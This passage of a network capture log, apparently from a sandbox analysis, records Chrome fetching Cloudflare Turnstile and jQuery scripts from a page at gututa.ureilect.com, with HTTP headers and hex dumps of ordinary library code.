2024-04-24 22:49:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49716	104.17.2.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:26 UTC	651	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://gututa.ureilect.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:26 UTC	352	IN	HTTP/1.1 302 Found Date: Wed, 24 Apr 2024 22:49:26 GMT Content-Length: 0 Connection: close cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/471dc2adc340/api.js?render=explicit cache-control: max-age=300, public access-control-allow-origin: * Server: cloudflare CF-RAY: 8799a58489071d68-ATL alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49715	151.101.2.137	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:26 UTC	625	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://gututa.ureilect.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:26 UTC	571	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 24 Apr 2024 22:49:26 GMT Age: 3764454 X-Served-By: cache-lga21931-LGA, cache-pdk-kfty2130052-PDK X-Cache: HIT, HIT X-Cache-Hits: 1079, 539 X-Timer: S1713998966.439919,VS0,VE0 Vary: Accept-Encoding
2024-04-24 22:49:26 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-04-24 22:49:26 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-04-24 22:49:26 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-04-24 22:49:26 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-04-24 22:49:26 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-04-24 22:49:26 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-04-24 22:49:26 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-04-24 22:49:26 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-04-24 22:49:26 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-04-24 22:49:26 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49717	104.17.2.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:26 UTC	666	OUT	GET /turnstile/v0/b/471dc2adc340/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://gututa.ureilect.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:27 UTC	340	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 22:49:27 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42415 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8799a5879ceab0e5-ATL alt-svc: h3=":443"; ma=86400
2024-04-24 22:49:27 UTC	1029	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 75 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 75 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 75 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);funct
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 75 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 Data Ascii: tion(u){return Object.getOwnPropertyDescriptor(e,u).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach(funct
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 75 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d 5b 53 79 6d 62 6f Data Ascii: &typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,u,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m[Symbo
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 66 75 6e 63 74 69 6f 6e 20 4e 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 76 61 72 20 44 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 44 7c 7c 28 44 3d 7b 7d 29 29 3b 76 Data Ascii: me parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;function N(e,r){return e.indexOf(r)!==-1}var D;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(D\|\|(D={}));v
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 Data Ascii: ng"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return N(["a
2024-04-24 22:49:27 UTC	1369	IN	Data Raw: 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 65 28 65 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 4e 65 28 29 3f 78 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 78 65 3d 66 75 6e 63 74 69 6f 6e 28 75 2c 73 2c 6d 29 7b 76 61 72 20 62 3d 5b 6e 75 6c 6c 5d 3b 62 2e 70 75 73 68 2e 61 70 70 6c 79 28 62 2c 73 29 3b 76 61 72 20 68 3d 46 75 6e 63 Data Ascii: (typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function xe(e,r,t){return Ne()?xe=Reflect.construct:xe=function(u,s,m){var b=[null];b.push.apply(b,s);var h=Func
